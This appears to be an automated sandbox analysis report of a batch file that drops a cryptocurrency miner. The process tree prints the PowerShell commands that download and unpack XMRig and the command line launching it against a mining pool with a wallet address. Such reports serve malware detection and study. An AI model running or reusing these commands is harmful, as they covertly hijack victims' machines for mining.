Analysis

  • max time kernel
    1793s
  • max time network
    1808s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24/12/2023, 04:21

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4268
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2156

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c091c30751225b15f636e9d57e614b20

    SHA1

    3f456629e1ae0a0962f545c1bf837a8c9b5556f1

    SHA256

    6f8a4eafa9031c19377eba02fbc308b3376bb5a3d48846d2e4cd438755c322d1

    SHA512

    d31d439add49fca5cc86c4c73378bb07e797fcf8956dd474b3318a865947a4b131b2c9cb34cee40b56b09320e32729d41160fad84121c231acd8d68109fe7ccd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_quqbylct.jyz.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.2MB

    MD5

    0ca193f7424ef3f01981984b5a3979ab

    SHA1

    9589a14cd1656dbeb4091afb219b357aeda24709

    SHA256

    588cae0ea18d15d9d95033ed888af316f312dd30d44200e9091586b57fc4483e

    SHA512

    a4923f30411ca9766d84713711e5464c525a8233bf9bb1b485ef90ac16c8100c90d6ec6a53a2886a96e9bcb04de59acf1004aa149616685e6ca8ba9a9981169b

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    996KB

    MD5

    0ff9bfba983c145ad4f00d9f37a646e3

    SHA1

    9b0d03aa2f1ced92c089d4f2eb532f04fe27796c

    SHA256

    e1b46f1061be002b82893ef5a0c4ea9ebe67490f262540cb23072dc63c217ee2

    SHA512

    346434832a8975650189a4adce51ee0f12ba14ba37785dfbe7908acb52790fb517bb2c83e4ffb9d468642df0b95678cc44fa4a142465000e04fbe612dcaf6bf8

  • memory/2156-145-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-173-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-184-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-183-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-182-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-181-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-180-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-179-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-178-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-116-0x0000015DABA30000-0x0000015DABA50000-memory.dmp

    Filesize

    128KB

  • memory/2156-177-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-117-0x0000015DAD440000-0x0000015DAD480000-memory.dmp

    Filesize

    256KB

  • memory/2156-118-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-120-0x0000015DAD480000-0x0000015DAD4A0000-memory.dmp

    Filesize

    128KB

  • memory/2156-119-0x0000015DABA70000-0x0000015DABA90000-memory.dmp

    Filesize

    128KB

  • memory/2156-121-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-122-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-123-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-124-0x0000015DABA70000-0x0000015DABA90000-memory.dmp

    Filesize

    128KB

  • memory/2156-125-0x0000015DAD480000-0x0000015DAD4A0000-memory.dmp

    Filesize

    128KB

  • memory/2156-126-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-127-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-128-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-129-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-130-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-131-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-132-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-133-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-134-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-135-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-136-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-137-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-138-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-139-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-140-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-141-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-142-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-143-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-144-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-176-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-175-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-148-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-146-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-149-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-150-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-151-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-152-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-153-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-154-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-155-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-156-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-157-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-158-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-159-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-160-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-161-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-162-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-163-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-164-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-165-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-166-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-167-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-168-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-169-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-170-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-171-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-172-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-147-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/2156-174-0x00007FF766E60000-0x00007FF767963000-memory.dmp

    Filesize

    11.0MB

  • memory/4268-76-0x0000022AC9DE0000-0x0000022AC9DF2000-memory.dmp

    Filesize

    72KB

  • memory/4268-36-0x00007FFCEC990000-0x00007FFCED37C000-memory.dmp

    Filesize

    9.9MB

  • memory/4268-38-0x0000022AC9E70000-0x0000022AC9E80000-memory.dmp

    Filesize

    64KB

  • memory/4268-113-0x00007FFCEC990000-0x00007FFCED37C000-memory.dmp

    Filesize

    9.9MB

  • memory/4268-89-0x0000022AC9DC0000-0x0000022AC9DCA000-memory.dmp

    Filesize

    40KB

  • memory/4268-62-0x0000022AC9E70000-0x0000022AC9E80000-memory.dmp

    Filesize

    64KB

  • memory/4268-37-0x0000022AC9E70000-0x0000022AC9E80000-memory.dmp

    Filesize

    64KB

  • memory/4464-25-0x0000028970B40000-0x0000028970B50000-memory.dmp

    Filesize

    64KB

  • memory/4464-8-0x0000028970B40000-0x0000028970B50000-memory.dmp

    Filesize

    64KB

  • memory/4464-6-0x00007FFCEC990000-0x00007FFCED37C000-memory.dmp

    Filesize

    9.9MB

  • memory/4464-10-0x0000028970ED0000-0x0000028970F46000-memory.dmp

    Filesize

    472KB

  • memory/4464-9-0x0000028970B40000-0x0000028970B50000-memory.dmp

    Filesize

    64KB

  • memory/4464-4-0x0000028970E20000-0x0000028970E42000-memory.dmp

    Filesize

    136KB

  • memory/4464-30-0x00007FFCEC990000-0x00007FFCED37C000-memory.dmp

    Filesize

    9.9MB